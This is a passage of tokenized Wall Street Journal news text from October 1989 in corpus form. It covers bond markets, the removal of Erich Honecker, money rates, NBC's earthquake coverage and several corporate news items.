+Unless otherwise specified in a particular offer , the bonds wo n't be subject to redemption prior to maturity . +Interest payments on the bonds will be payable semiannually . +The bonds are subject to federal taxation in the U.S. , including income taxes . +At the state and local level , the bonds are subject to surtaxes and estate , inheritance and gift taxes , but exempt from taxation as to principal and interest . +G.D. Searle & Co. , a Monsanto Co. unit , is launching a program to give consumers more information about its drugs when doctors prescribe them . +Called Patients in the Know , the program features fact sheets designed to be easy to understand . +The sheets tell how the medicine works , describe how to use it and list its possible side effects . +They are designed to be given to patients by their doctors when the medicines are prescribed and include space for the doctor to write special instructions . +In addition , Searle will give pharmacists brochures on the use of prescription drugs for distribution in their stores . +Consumer groups have long advocated that drug companies and doctors make more information available to patients . +`` We believe that every drug that 's marketed to a consumer should have a consumer label , '' said Douglas Teich of the Public Citizen Health Research Group , a Ralph Nader affiliate . +Dr. Teich said Searle is `` the only company I know that voluntarily '' will make consumer information available . +According to federal officials and drug-industry studies , nearly half of the 1.6 billion prescriptions filled each year are n't used properly , meaning that money is wasted on some prescriptions and patients are deprived of the benefits of medication . +`` We think it 's very important to provide as much information as possible on the drugs consumers take , '' said Searle Chairman Sheldon Gilgore . +Bond prices rambled yesterday as investors kept close watch on the stock market and worried about a wave of new supply . +Early yesterday , bonds rose as investors rushed to buy Treasury securities on the prospect that stocks would plummet in the aftermath of the massive California earthquake . +For example , some securities analysts warned that stocks of certain insurance companies , which face massive damage claims , would get hit hard . +But when the Dow Jones Industrial Average rose instead , bonds drifted lower . +With stocks not a major focus , `` we 're waiting for the next guiding light , '' said Brian J. Fabbri , chief economist at Midland Montagu Securities Inc . +`` If the stock market tremors are behind us , then the bond market will go back to looking at the next batch of economic numbers to determine '' where interest rates are heading . +The Treasury 's benchmark 30-year bond , which jumped 3\/8 point , or about $ 3.75 for each $ 1,000 face amount , during the first hour of trading , ended little changed . +Interest rates barely budged from Tuesday 's levels . +Most junk bonds , which have been battered in recent weeks , continued a slow recuperation and ended unchanged to slightly higher . +But some so-called high-quality junk issues fell as some mutual funds sold their most liquid issues to raise cash . +RJR Holdings Capital Corp. 's 14.7 % bonds due 2009 fell one point . +Other RJR issues fell between 1\/2 point and 1 1\/2 point . +In the latest sign of how difficult it is to place certain junk bonds , Continental Airlines said it was forced to scale back the size of its latest offering . +Continental , a unit of Texas Air Corp. , slashed the size of its note offering from $ 150 million to $ 71 million . +The move had been widely expected . +In the multipart offering , the company sold a portion of secured notes but shelved all the unsecured notes . +A Continental spokeswoman said the notes may be offered at a later date . +`` This was not a do-or-die deal , '' she said . +`` I think this is a market that required some level of security . +It did not make sense to offer unsecured paper in an unsettling market . '' +Investors have been speculating for weeks about the market 's ability to place the $ 7 billion to $ 10 billion of new junk bonds scheduled to be sold by year end . +Supply troubles were also on the minds of Treasury investors yesterday , who worried about the flood of new government securities coming next week . +`` We 're being bombarded by new Treasury and agency debt offerings , '' said William Sullivan Jr. , director of money-market research at Dean Witter Reynolds Inc . +`` The market is concerned about its ability to underwrite all this debt at current levels . '' +In addition to the $ 15.6 billion of Treasury bills to be sold at next week 's regular Monday auction , the government will sell $ 10 billion of new two-year Treasury notes . +And Resolution Funding Corp. said late yesterday that it will sell $ 4.5 billion of 30-year bonds Wednesday . +Refcorp is the financing unit of Resolution Trust Corp. , a new government agency created to rescue the nation 's troubled thrifts . +Its securities have been dubbed `` bailout bonds '' by traders . +In when-issued trading , the two-year Treasurys had a yield of about 7.88 % . +In the municipal market , all eyes were on California debt as investors tried to gauge the financial ramifications of Tuesday 's earthquake . +But traders said the quake had only a minor impact on the trading of California state and local municipal debt . +`` There are certain bonds traders refer to as ` earthquake ' bonds because the -LRB- issuers -RRB- are on top of the San Andreas fault , '' said Zane Mann , editor of the California Municipal Bond Advisor , a newsletter for investors . +Since those bonds already pay a slightly higher yield , an extra premium for the earthquake risk , they were n't materially affected . +But some bond market analysts said that could quickly change if property casualty insurance companies scramble to sell portions of their municipal portfolios to raise cash to pay damage claims . +`` Insurance companies will foot a substantial amount of the bill to reconstruct San Francisco , '' said Charles Lieberman , chief economist at Manufacturers Hanover Securities Corp . +He also expects the performance of municipals to lag Treasurys as California is forced to issue new debt over time to repair public facilities . +A report issued late yesterday by Standard & Poor 's Corp. concluded the quake wo n't cause `` wide-scale credit deterioration '' for issuers and debt issues in the 12-county area of Northern California affected by the quake . +Treasury Securities +Treasury bonds ended narrowly mixed in quiet trading . +The benchmark 30-year bond ended at a price of 100 29\/32 to yield 8.03 % , compared with 100 28\/32 to yield 8.04 % Tuesday . +The latest 10-year notes were quoted late at a price of 99 26\/32 to yield 8 % , compared with 99 25\/32 to yield 8.01 % . +Short-term rates were little changed . +Corporate Issues +Investment-grade corporate bonds ended 1\/4 point lower . +The Continental junk bond offering , underwritten by Drexel Burnham Lambert Inc. , was the only new issue priced yesterday . +In the four-part offering , the $ 71 million of secured equipment certificates was priced to yield 13.75 % to 15.75 % . +Municipals +Municipal bonds ended about 1\/8 to 3\/8 point lower , hurt by the circulation of two `` bid-wanted '' lists totaling $ 655 million . +Chemical Securities Inc. is acting as agent for the seller . +Meanwhile , some California issues were down a touch more than the broad market , but traders said there had n't been much investor selling because of the quake . +But New York City general obligation bonds came under selling pressure . +Traders said a steady stream of bonds was put up for sale yesterday , pushing yields for longer maturities up 0.05 percentage point . +Traders said investors were reacting to recent negative news on the city 's finances and are nervous ahead of the Nov. 7 election . +Washington , D.C. , topped the competitive slate yesterday with a sale of $ 200 million of general obligation tax revenue anticipation notes . +In late trading , New Jersey Turnpike Authority 's 7.20 % issue of 2018 was off 1\/4 point at 98 bid . +The yield was 7.35 % , up 0.01 percentage point . +Mortgage-Backed Securities +Mortgage securities ended little changed after light dealings . +There was no appreciable market impact from the California earthquake . +Dealers said there was some concern that insurance companies might be forced to sell mortgage securities to help pay earthquake-related claims , but no selling materialized . +The Federal Home Loan Mortgage Corp. and Federal National Mortgage Association , two dominant issuers of mortgage securities , have a sizable amount of California home loans in their mortgagebacked pools . +But their potential quake exposure is seen as small given that they require a financial cushion on all the loans they purchase . +And because Northern California home prices are so high , loans from the region often are too large to be included in Freddie Mac and Fannie Mae pools . +Meanwhile , Government National Mortgage Association 9 % securities for November delivery ended at 97 29\/32 , unchanged . +Freddie Mac 9 % securities were at 97 4\/32 , down 1\/32 . +In derivative markets , Fannie Mae issued two $ 400 million real estate mortgage investment conduits backed by its 9 % securities . +Foreign Bonds +British government bonds , or gilts , ended moderately lower as equities there recovered from Tuesday 's drop . +The Treasury 's 11 3\/4 % bond due 2003\/2007 fell 11\/32 to 111 31\/32 to yield 10.08 % , while the 12 % notes due 1995 were down 7\/32 to 103 22\/32 to yield 11.04 % . +Traders said today may be an anxious day for the market . +Several key economic figures are due out and Chancellor of the Exchequer Nigel Lawson is scheduled to give the annual `` Mansion House '' address to the financial community . +The chancellor sometimes has used the occasion to announce major economic policy changes . +Economists do n't expect any such changes in this year 's address , given Mr. Lawson 's apparent reluctance to adjust policy currently . +Meanwhile , Japanese government bonds retreated in quiet trading , stymied by the dollar 's resiliency . +Japan 's bellwether 4.6 % bond due 1998 ended on brokers ' screens at 95.75 to yield 5.315 % . +In West Germany , investors stayed on the sidelines as the bond market searched for direction . +The government 's 7 % issue due October 1999 fell 0.05 point to 99.90 to yield 7.01 % . +The Berlin Wall still stands . +But the man who built it has fallen . +East Germany yesterday removed Erich Honecker , one of the staunchest holdouts against the reform rumbling through the Communist world , in an effort to win back the confidence of its increasingly rebellious citizens . +But while it was a move that stunned the East bloc , it hardly ushers in an era of reform -- at least anytime soon . +For the Politburo replaced Mr. Honecker , who had led East Germany for 18 years and before that headed its security apparatus , with a man cut of the same cloth : Egon Krenz , the most recent internal-security chief and a longtime Honecker protege . +East Germany , it is clear , is no Poland , where the Communist Party now shares power with the democratically elected Solidarity union . +Nor is it a Hungary , where yesterday the parliament approved constitutional changes meant to help turn the Communist nation into a multiparty democracy . +Still , any change in East Germany has enormous implications , for both East and West . +It raises the long-cherished hopes of many Germans for reunification -- a prospect that almost equally alarms political leaders in Moscow , Washington and Western Europe . +Mr. Krenz , 52 , was named the new party chief just minutes after the Party 's 163-member Central Committee convened in East Berlin . +Although the East German news agency ADN claimed Mr. Honecker had asked to be relieved of his duties for `` health reasons , '' West German government sources said the 26-man Politburo had asked for his resignation at a separate meeting late Tuesday . +-LRB- Mr. Honecker was twice hospitalized this summer for a gall bladder ailment and his physical condition has been the subject of intense speculation in the Western media . -RRB- +ADN said Mr. Honecker , a hard-line Stalinist who in 1961 supervised the construction of the Berlin Wall , also was relieved of his title as head of state and his position as chief of the military . +Mr. Krenz is expected to be formally named to all three positions once the nation 's parliament convenes later this week . +Mr. Honecker 's ignoble fall culminates nearly two decades of iron-handed leadership during which Mr. Honecker , now 77 years old , built East Germany into the most economically advanced nation in the Soviet bloc . +His grip on power unraveled this summer as thousands of his countrymen , dissatisfied by the harshness of his rule , fled to the West . +Thousands more have taken to the streets in the last month in East Germany 's largest wave of domestic unrest since a workers ' uprising in 1953 . +In Washington , the Bush administration took a characteristically cautious and skeptical view of the leadership change . +The official line was to offer warmer ties to Mr. Krenz , provided he is willing to institute reforms . +But U.S. officials have strong doubts that he is a reformer . +President Bush told reporters : `` Whether that -LCB- the leadership change -RCB- reflects a change in East-West relations , I do n't think so . +Because Mr. Krenz has been very much in accord with the policies of Honecker . '' +One top U.S. expert on East Germany added : `` There is no clear-cut champion of reform , that we know of , in the East German leadership . '' +Indeed , Mr. Krenz said on East German television last night that there will be no sharing of power with pro-democracy groups . +He said , while dialogue is important , enough forums already exist `` in which different interests '' can express themselves . +The removal of Mr. Honecker was apparently the result of bitter infighting within the top ranks of the Communist party . +According to West German government sources , Mr. Honecker and several senior Politburo members fought over the last week to delay any decisions about a leadership change . +But , with public demonstrations in the country growing in size and intensity , Mr. Honecker and several key allies lost out in this battle , officials say . +Those allies included Politburo members Guenter Mittag , who has long headed economic affairs , and Joachim Hermann , chief of information policy . +Both men were also relieved of their duties yesterday . +Although other resignations may follow , it 's still not clear to what extent the change in party personnel will alter the government 's resistance to fundamental change . +Clearly , the central figure in this process is Egon Krenz . +Born in 1937 in a Baltic Sea town now part of Poland , he was eight years old when World War II ended . +Like West German Chancellor Helmut Kohl , he represents the postwar generation that has grown up during Germany 's division . +Since joining the Politburo in 1983 as its youngest member , Mr. Krenz had acquired the nickname `` crown prince , '' a reference to the widely held view that he was the hand-picked successor to Mr. Honecker . +In fact , the two men have had strikingly similar career paths , both having served as chief of internal security before their rise to the top party position . +Moreover , both men have hewn to a similar hard-line philosophy . +Notably , one of Mr. Krenz 's few official visits overseas came a few months ago , when he visited China after the massacre in Beijing . +He later defended the Chinese government 's response during a separate visit to West Germany . +East German Protestantism in particular fears Mr. Krenz , in part because of an incident in January 1988 when he was believed to have ordered the arrest of hundreds of dissidents who had sought refuge in the Church . +However , Mr. Krenz also has a reputation for being politically savvy . +His shrewd ability to read the shifting popular mood in East Germany is best illustrated by his apparent break with his old mentor , Mr. Honecker . +Indeed , according to West German government sources , he was one of the leaders in the power struggle that toppled Mr. Honecker . +In recent days , Mr. Krenz has sought to project a kinder image . +According to a report widely circulating in East Berlin , it was Mr. Krenz who ordered police to stop using excessive force against demonstrators in Leipzig . +`` He does n't want to have the image of the gun man , '' says Fred Oldenburg , an expert at the Bonn-sponsored Institute of East European and International Studies in Cologne . +`` He 's not a reformer -- he wants to have the image of a reformer . '' +As part of his image polishing , Mr. Krenz is expected to take modest steps toward reform to rebuild confidence among the people and reassert the party 's authority . +Besides sacking other senior Politburo officials who allied themselves with Mr. Honecker , Mr. Krenz could loosen controls on the news media , free up travel restrictions , and establish a dialogue with various dissident groups . +But will it be enough ? +West German government officials and Western analysts are doubtful . +`` He does n't signify what people want , so the unrest will go on , '' Mr. Oldenburg predicts . +At the same time , the expectations of the East German people are great and will continue to grow . +Says one West German official : `` What 's necessary now is the process of democratization . +Not just that people are being heard but that their interests are being taken seriously . '' +Chancellor Kohl , meanwhile , has invited Mr. Krenz to open discussions with Bonn on a wide range of subjects . +Reports in the West German press , citing sources in East Germany , suggest Mr. Krenz may serve only as a bridge between Mr. Honecker and a genuine reform leader . +Adding to that speculation is Mr. Krenz 's reputation as a heavy drinker , who is said to also suffer from diabetes . +`` This is a dynamic process and we 're experiencing the first step , '' the Bonn official adds . +The selection of Mr. Krenz may also disappoint Moscow . +Soviet leader Mikhail Gorbachev has pressed hard for a change in East Germany 's rigid stance . +Two reform-minded party leaders favored by Moscow as possible successors to Mr. Honecker , Dresden party secretary Hans Modrow and Politburo member Guenter Schabowski , were passed over . +If Mr. Krenz sticks to rigid policies the pressure from the Soviet Union could intensify . +In Moscow , Mr. Gorbachev sent Mr. Krenz a congratulatory telegram that appeared to urge the new leadership to heed growing calls for change . +According to the Soviet news agency Tass , `` Gorbachev expressed the conviction that the leadership of the Socialist Unity Party of -LCB- East -RCB- Germany , being sensitive to the demands of the time , ... will find solutions to complicated problems the GDR -LCB- German Democratic Republic -RCB- encountered . '' +A force of younger pro-Gorbachev members in the East German bureaucracy has for some time been pushing for relaxation within their country . +The older generation has been torn between a fear of tampering with the status quo and a fear of what might happen if they did n't . +From the perspective of East Germany 's old guard , reforms that smack of capitalism and Western-style democracy could eliminate their country 's reason for being . +Unlike the other nations of the bloc , East Germany is a creature of the Cold War . +Erasing the differences still dividing Europe , and the vast international reordering that implies , wo n't endanger the statehood of a Poland or a Hungary . +But it could ultimately lead to German reunification and the disappearance of East Germany from the map . +Which is what the Old Guard fears . +`` I 'm sure they 'll formulate a reform that will be a recipe for the GDR 's future as a separately identifiable state , '' says Michael Simmons , a British journalist whose book on East Germany , entitled `` The Unloved Country , '' was published this month . +Up to now , that recipe has consisted of a dogged effort by former leader Walter Ulbricht to establish the country 's international legitimacy , followed by Mr. Honecker 's campaign to build the East bloc 's only successful Stalinist economy into a consumer paradise . +Neither man achieved perfection . +Early in 1987 , Mr. Honecker and his team stopped paying thin compliments to Mr. Gorbachev and joined with Romania in rejecting any necessity for adjustments in their systems . +The less-self-confident Czechoslovaks and Bulgarians , in contrast , declared their intentions to reform , while doing nothing concrete about it . +The East German media soon began presenting Mr. Gorbachev 's speeches only as sketchy summaries , and giving space to his opponents . +By late 1988 , they were banning Soviet publications . +The country abandoned its former devotion to socialist unity and took to insisting instead that each country in the bloc ought to travel its own road . +Mr. Honecker spoke of `` generally valid objective laws of socialism '' and left no room for debate . +With this year 's dislocations in China and the Soviet Union , and the drive to democracy in Poland and Hungary , the East German leadership grew still more defensive . +Politburo member Joachim Herrman confessed to a `` grave concern '' over Hungarian democracy . +`` Under the banner that proclaims the ` renewal of socialism , ' '' he said , `` forces are at work that are striving to eliminate socialism . '' +Some loyal voices , in and out of the East German Communist party , saw the nation 's unrest coming . +The first signs were economic . +Despite heavily subsidized consumer industries , East Germans have for years watched the West pull farther out ahead . +In 1988 , for the first time , economic growth came to a dead stop . +Gingerly , some economists began to blame central planning . +Some writers in theoretical journals even raised the notion of introducing democracy , at least in the workplace . +By summer , an independent reform movement was saying out loud what it had only whispered before . +But they are stalwart socialists . +Their proclaimed purpose is to cleanse East Germany of its Stalinist muck , not to merge with the West . +One of their pastors has envisioned a `` new utopia '' of `` creative socialism . '' +Meanwhile , the man Mr. Krenz replaces has left an indelible mark on East German society . +Imprisoned by the Nazis during World War II for his political beliefs , Mr. Honecker typified the postwar generation of committed Communist leaders in Eastern Europe who took their cues from Moscow . +He was a `` socialist warrior '' who felt rankled by West Germany 's enormous postwar prosperity and the Bonn government 's steadfast refusal to recognize the legitimacy of his state . +Finally , during his first and only state visit to Bonn two years ago , he won some measure of the recognition he had long sought . +But ultimately he was undone by forces unleashed by his own comrade , Mr. Gorbachev . +Mr. Honecker 's removal `` was bound to happen , '' says one aide to Chancellor Kohl . +`` It was only a matter of time . '' +The European Community Commission increased its forecast for economic growth in the EC in 1989 to 3.5 % , slightly higher than its June projection of 3.25 % . +In its annual economic report for 1989-1990 , the commission also projected 1990 gross domestic product growth for the 12 EC members at 3 % . +EC inflation was seen at 4.8 % in 1989 , higher than 1988 's 3.6 % price rise . +However , inflation for 1990 was seen slowing to 4.5 % . +Leading EC growth forecasts in 1989 was Ireland , seen growing 5 % at constant prices . +Slower growth countries included Greece , at 2.5 % , the U.K. , at 2.25 % , and Denmark , at 1.75 % . +Inflation is expected to be highest in Greece , where it is projected at 14.25 % , and Portugal , at 13 % . +At the other end of the spectrum , West German inflation was forecast at 3 % in 1989 and 2.75 % in 1990 . +Nestle Korea Ltd. opened a coffee and non-dairy-creamer plant in Chongju , South Korea . +An official at Nestle Korea , a 50-50 joint venture between Nestle S.A. and the Doosan Group , said the new facility will manufacture all types of soluble , roasted and ground coffee , coffee mix and nondairy coffee creamer . +The South Korean coffee market , consisting mostly of instant coffee , was estimated at about 100 billion won -LRB- $ 150.7 million -RRB- last year . +Brands made by the Kraft General Foods unit of Philip Morris Cos. had about 95 % of the market share . +Nestle currently has only about a 2 % share with its Taster 's Choice coffee . +Poland plans to start negotiations soon on purchasing natural gas from Iran , the official Islamic Republic News Agency reported . +The agency said Polish Prime Minister Tadeusz Mazowiecki told Iranian Deputy Foreign Minister Mahmoud Vaezi of Poland 's willingess to purchase the gas during Mr. Vaezi 's current visit to Warsaw . +The agency did n't mention possible quantities and did n't say how the gas would be delivered . +A Chinese official harshly criticized plans to close a British naval base in downtown Hong Kong . +Hong Kong officials announced last week that the base will be relocated to a small island to allow downtown redevelopment . +But Beijing wants to use the base for the People 's Liberation Army after 1997 , when the territory returns to Chinese sovereignty . +Ke Zaishuo , head of China 's delegation to a Chinese-British Liaison Committee on Hong Kong , accused Britain of trying to impose a fait accompli and said , `` This is something we can not accept . '' +The Israeli and Soviet national airlines have reached preliminary agreement for launching the first direct flights between Tel Aviv and Moscow , a spokesman for the Israeli airline , El Al , said . +El Al director Rafi Har-Lev and top officials of the Soviet Union 's Aeroflot negotiated a preliminary pact in Moscow this week , the spokesman said . +He added that concluding the deal requires approval by the governments of both countries , which have never had direct air links . +The chairman and a director of one of the Republic of Singapore 's leading property companies , City Development Ltd. , or CDL , were charged yesterday with criminal breach of trust of some 800,000 Singapore dollars -LRB- about US$ 409,000 -RRB- . +Kwek Hong Png , chairman of CDL , and director Quek Leng Chye were arrested by the republic 's Corrupt Practices Investigation Bureau Tuesday night . +In addition to abetting in the alleged criminal breach of trust , Kwek Hong Png was also charged with dishonestly receiving S$ 500,000 that had been stolen . +Both men were charged in a subordinate court and released on bail of S$ 1 million . +The charges are the culmination of weeks of rumors concerning CDL that have depressed the company 's share price and to a lesser extent the shares of all companies owned by CDL 's controlling Quek family , brokers in Singapore say . +The Queks control the Hong Leong Group , which has widespread interests in manufacturing , property and finance in both Malaysia and Singapore . +News of the arrest and charging of the two men helped to push prices on the Singapore Stock market sharply lower in early trading yesterday , but brokers said that the market and CDL shares recovered once it became apparent the charges were limited to the two men personally . +One of the two British companies still making hard toilet paper stopped production of it . +British Tissues decided to do away with its hard paper after a major customer , British Rail , switched to softer tissues for train bathrooms ... . +Peasants in Inner Mongolia have partly dismantled a 20-mile section of China 's famed Great Wall , the official People 's Daily said . +The paper said the bricks were used to build homes and furnaces and , as a result , the wall `` is in terrible shape . +Wednesday , October 18 , 1989 +The key U.S. and foreign annual interest rates below are a guide to general levels but do n't always represent actual transactions . +PRIME RATE : 10 1\/2 % . +The base rate on corporate loans at large U.S. money center commercial banks . +FEDERAL FUNDS : 8 15\/16 % high , 8 5\/8 % low , 8 3\/4 % near closing bid , 8 7\/8 % offered . +Reserves traded among commercial banks for overnight use in amounts of $ 1 million or more . +Source : Fulton Prebon -LRB- U.S.A . -RRB- Inc . +DISCOUNT RATE : 7 % . +The charge on loans to depository institutions by the New York Federal Reserve Bank . +CALL MONEY : 9 3\/4 % to 10 % . +The charge on loans to brokers on stock exchange collateral . +COMMERCIAL PAPER placed directly by General Motors Acceptance Corp. : 8.45 % 30 to 44 days ; 8.25 % 45 to 74 days ; 8.30 % 75 to 99 days ; 7.75 % 100 to 179 days ; 7.50 % 180 to 270 days . +COMMERCIAL PAPER : High-grade unsecured notes sold through dealers by major corporations in multiples of $ 1,000 : 8.55 % 30 days ; 8.45 % 60 days ; 8.375 % 90 days . +CERTIFICATES OF DEPOSIT : 8.05 % one month ; 8.02 % two months ; 8 % three months ; 7.98 % six months ; 7.95 % one year . +Average of top rates paid by major New York banks on primary new issues of negotiable C.D.s , usually on amounts of $ 1 million and more . +The minimum unit is $ 100,000 . +Typical rates in the secondary market : 8.53 % one month ; 8.48 % three months ; 8.40 % six months . +BANKERS ACCEPTANCES : 8.42 % 30 days ; 8.30 % 60 days ; 8.28 % 90 days ; 8.15 % 120 days ; 8.05 % 150 days ; 7.95 % 180 days . +Negotiable , bank-backed business credit instruments typically financing an import order . +LONDON LATE EURODOLLARS : 8 11\/16 % to 8 9\/16 % one month ; 8 5\/8 % to 8 1\/2 % two months ; 8 5\/8 % to 8 1\/2 % three months ; 8 9\/16 % to 8 7\/16 % four months ; 8 1\/2 % to 8 3\/8 % five months ; 8 1\/2 % to 8 3\/8 % six months . +LONDON INTERBANK OFFERED RATES -LRB- LIBOR -RRB- : 8 11\/16 % one month ; 8 11\/16 % three months ; 8 1\/2 % six months ; 8 1\/2 % one year . +The average of interbank offered rates for dollar deposits in the London market based on quotations at five major banks . +FOREIGN PRIME RATES : Canada 13.50 % ; Germany 8.50 % ; Japan 4.875 % ; Switzerland 8.50 % ; Britain 15 % . +These rate indications are n't directly comparable ; lending practices vary widely by location . +TREASURY BILLS : Results of the Monday , October 16 , 1989 , auction of short-term U.S. government bills , sold at a discount from face value in units of $ 10,000 to $ 1 million : 7.37 % 13 weeks ; 7.42 % 26 weeks . +FEDERAL HOME LOAN MORTGAGE CORP . -LRB- Freddie Mac -RRB- : +Posted yields on 30-year mortgage commitments for delivery within 30 days . +9.88 % , standard conventional fixed-rate mortgages ; 7.875 % , 2 % rate capped one-year adjustable rate mortgages . +Source : Telerate Systems Inc . +FEDERAL NATIONAL MORTGAGE ASSOCIATION -LRB- Fannie Mae -RRB- : +Posted yields on 30 year mortgage commitments for delivery within 30 days -LRB- priced at par -RRB- 9.83 % , standard conventional fixed-rate mortgages ; 8.70 % , 6\/2 rate capped one-year adjustable rate mortgages . +Source : Telerate Systems Inc . +MERRILL LYNCH READY ASSETS TRUST : 8.50 % . +Annualized average rate of return after expenses for the past 30 days ; not a forecast of future returns . +A grand jury here indicted Norton Co. 's former director of advanced-ceramics research , charging him with interstate transportation of stolen property . +Norton and General Electric Co. last month filed a lawsuit against the former research manager , Chien-Min Sung , charging him with stealing trade secrets . +Mr. Sung formerly worked at General Electric in research on synthetic diamonds . +The criminal charges brought against him involved GE technology , according the court documents . +If convicted , he could be imprisoned for up to 10 years and fined $ 250,000 . +Mr. Sung could n't be reached for comment . +He earlier denied the allegations against him in the lawsuit by Norton and GE . +Norton makes sandpaper and other abrasives , diamond tools , specialty plastics and ceramics . +As the citizens of San Francisco and surrounding communities began assessing the damage from Tuesday 's devastating earthquake , NBC News began assessing the damage from what some said was a failure to provide comprehensive coverage in the earthquake 's initial moments . +`` In terms of coverage , it was a disaster equal to the earthquakes , '' said Eric Premner , president for broadcasting of King Broadcasting Co. , which owns the NBC affiliate in Seattle , Wash . +While rival ABC News outstripped the competition in live coverage of the event by sheer luck -- the network was broadcasting the World Series from Candlestick Park when the quake struck -- NBC News was unable to get its signal out of San Francisco for the first hour after the quake . +`` I have to attribute the lackluster performance to a natural disaster , '' said Mr. Premner . +`` So before I start to be really critical of NBC , I would like to know more about what happened . '' +There were no complaints from affiliates of CBS Inc. and Cable News Network , a unit of Turner Broadcasting System Inc . +But that was not the case at NBC News , which has been dogged with the image of not being aggressive on major breaking stories . +Last summer , the affiliates bitterly complained to network executives about the poor coverage of the student uprising in China . +`` I was not pleased with the slow start , and neither was NBC News , '' said Guy Hempel , general manager of NBC affiliate WAVE in Louisville , Ky . +A spokesman for National Broadcasting Co. , a unit of General Electric Co. , said the network was `` looking into what happened . '' +The stations said they were pleased with the extended coverage yesterday , including a special five-hour edition of `` Today . '' +Don Browne , director of news at NBC News , said in an interview that `` we could n't get a signal out of San Francisco . +We were out of the box . +It was horrible . +The comment we 're hearing is that we were slow out of the box , but beat everyone else in the stretch . '' +NBC broadcast throughout the entire night and did not go off the air until noon yesterday . +The quake postponed the third and fourth games of the World Series . +In place of the games , ABC said it planned to broadcast next week 's episodes of its prime-time Wednesday and Thursday lineups , except for a one-hour special on the earthquake at 10 p.m. last night . +The series is scheduled to resume Tuesday evening in San Francisco . +`` There are no commercials to make up for since we 're going to eventually broadcast the World Series , '' said a network spokesman . +Pinnacle West Capital Corp. said it suspended indefinitely its common stock dividend and reported a 91 % plunge in third-quarter net income . +The announcement , made after the close of trading , caught analysts by surprise . +The company closed at $ 12 a share , down 62.5 cents , in composite trading on the New York Stock Exchange . +Pinnacle West slashed its quarterly dividend to 40 cents per share from 70 cents in December , saying at the time that it believed the new , lower dividend was `` sustainable . '' +A company spokesman said the decision to eliminate the dividend resulted from a quarterly appraisal and that circumstances had changed since the December announcement . +He declined to elaborate . +Edward J. Tirello Jr. , an analyst at Shearson Lehman Hutton Inc. , speculated that the sudden dividend elimination presages an expensive agreement with thrift regulators over the company 's insolvent MeraBank savings and loan unit . +Analysts have estimated that Pinnacle West may have to inject between $ 300 million and $ 400 million into the MeraBank unit before turning the thrift over to federal regulators . +The latest financial results at the troubled utility and thrift holding company , based in Phoenix , Ariz. , reflect continuing problems at MeraBank and losses in real-estate , venture-capital and uranium-mining operations . +Third-quarter net income slid to $ 5.1 million , or six cents a share , from $ 56 million , or 65 cents , a year earlier . +Utility operations , the only company unit operating in the black in the latest period , had a 26 % drop in profit , to $ 86.3 million , largely as a result of outages at the company 's huge Palo Verde nuclear facility and the cost of purchased replacement power . +In other operations , losses at MeraBank totaled $ 85.7 million in the latest quarter , compared with a $ 2.5 million profit a year earlier . +The latest quarter includes a $ 42.7 million addition to loan-loss reserves . +As recently as August , the company said it did n't foresee a need for substantial additions to reserves . +Pinnacle 's SunCor Development Co . real-estate unit 's loss narrowed to $ 13.8 million from $ 78.4 million . +The latest period included a $ 9 million write-down on undeveloped land , while the year-earlier period included a $ 46 million reserve for real-estate losses . +Losses at its Malapai Resources Co . uranium-mining unit narrowed to $ 3.4 million from $ 18 million a year ago , which included a $ 9 million write-down of utility inventories . +Losses at El Dorado Investment Co. , the venture-capital operation , widened to $ 6.8 million from $ 425,000 a year earlier . +The latest quarter included a $ 6.6 million write-down of investments . +Equitec Financial Group said it will ask as many as 100,000 investors in 12 of its public real-estate limited partnerships to give approval to rolling them up into a new master limited partnership . +Under the proposal by Equitec , a financially troubled real-estate syndicator , New York-based Hallwood Group Inc. would replace Equitec as the newly formed master limited partnership 's general partner and manager . +Shares of the new partnership would trade on an exchange like a stock . +Hallwood is a merchant bank whose activities include the ownership , management and financial restructuring of shopping centers , office buildings , apartments and other real estate . +In a statement , Equitec Chairman Richard L. Saalfeld said the transfer will benefit both the company and investors in the 12 limited partnerships included in the proposed rollup . +While he did n't describe the partnerships ' financial condition , he said their operations `` continue to drain the resources of Equitec . '' +Equitec posted a $ 3.3 million net loss in the second quarter on $ 11.8 million of revenue , compared with a net loss of $ 12.9 million in the year-earlier period on revenue of $ 9.1 million . +In New York Stock Exchange composite trading , Equitec closed at $ 2.625 a share , unchanged . +Because of Tuesday 's earthquake in Northern California , company officials could n't immediately be reached for additional comment . +A spokesman for Hallwood said the 12 limited partnerships , which were marketed by brokerage firms and financial planners between 1979 and 1984 , raised several hundred million dollars from investors . +With airline deals in a tailspin , legendary Wall Street trader Michael Steinhardt could have trouble parachuting out of USAir Group , traders say . +Only a week ago , when airline buy-out fever was already winding down , Mr. Steinhardt was engaged in a duel with USAir . +He was threatening to take over the carrier , after spending an estimated $ 167 million to build an 8.4 % USAir stake for his investment clients . +The would-be raider even hired an investment banker to give teeth to his takeover threat , which was widely interpreted as an effort to flush out an acquirer for USAir , or for his own stake . +In fighting USAir , Mr. Steinhardt was pitted against another investor , billionnaire Warren Buffett , who bought into USAir to help fend off Mr. Steinhardt . +Mr. Buffett 's firm , Berkshire Hathaway , holds a much bigger stake in the carrier than Mr. Steinhardt 's firm , Steinhardt Partners . +Now , in the wake of UAL 's troubles in financing its buy-out , the airline raiding game has been grounded . +Instead of hoping to sell his USAir stake at analysts ' estimated buy-out price of $ 80 a share , Mr. Steinhardt is stuck with roughly 3.7 million USAir shares that cost him $ 45 , on average , but yesterday closed at 40 1\/2 , up 1\/4 , in New York Stock Exchange composite trading . +`` It does n't make sense to parachute out at this price , '' Mr. Steinhardt says , though he has stopped his takeover talk and now commends USAir managers ' `` operating skills . '' +At the current price , the USAir holding represents 9 % of all the assets that Mr. Steinhardt manages . +A week ago , USAir stock briefly soared above 52 after a report in USA Today that Mr. Steinhardt might launch a hostile bid for the carrier , though takeover speculators say they were skeptical . +`` If USAir is worth 80 as a takeover and the stock went to 52 , the market was saying Steinhardt 's presence was n't worth anything , in terms of getting a deal done , '' says a veteran takeover speculator . +Traders say this all goes to show that even the smartest money manager can get infected with crowd passions . +In trying to raid USAir , Mr. Steinhardt abandoned his usual role as a passive investor , and ran into snags . +Moreover , unlike Mr. Buffett , who often holds big stakes in companies for years , Mr. Steinhardt has n't in the past done much long-term investing . +Mr. Steinhardt , who runs about $ 1.7 billion for Steinhardt Partners , made his name as a gunslinging trader , moving in and out of stocks with agility -- enriching himself and his investment clients . +Meanwhile , his big losses , for instance in 1987 's crash , generally have been trading losses . +So , some see a special irony in the fact that Mr. Steinhardt , the trader , now is encumbered with a massive , illiquid airline holding . +Analysts say USAir stock might lose four or five points if the Steinhardt stake was dumped all at once . +As a result , Mr. Steinhardt must reconcile himself to selling USAir at a loss , or to 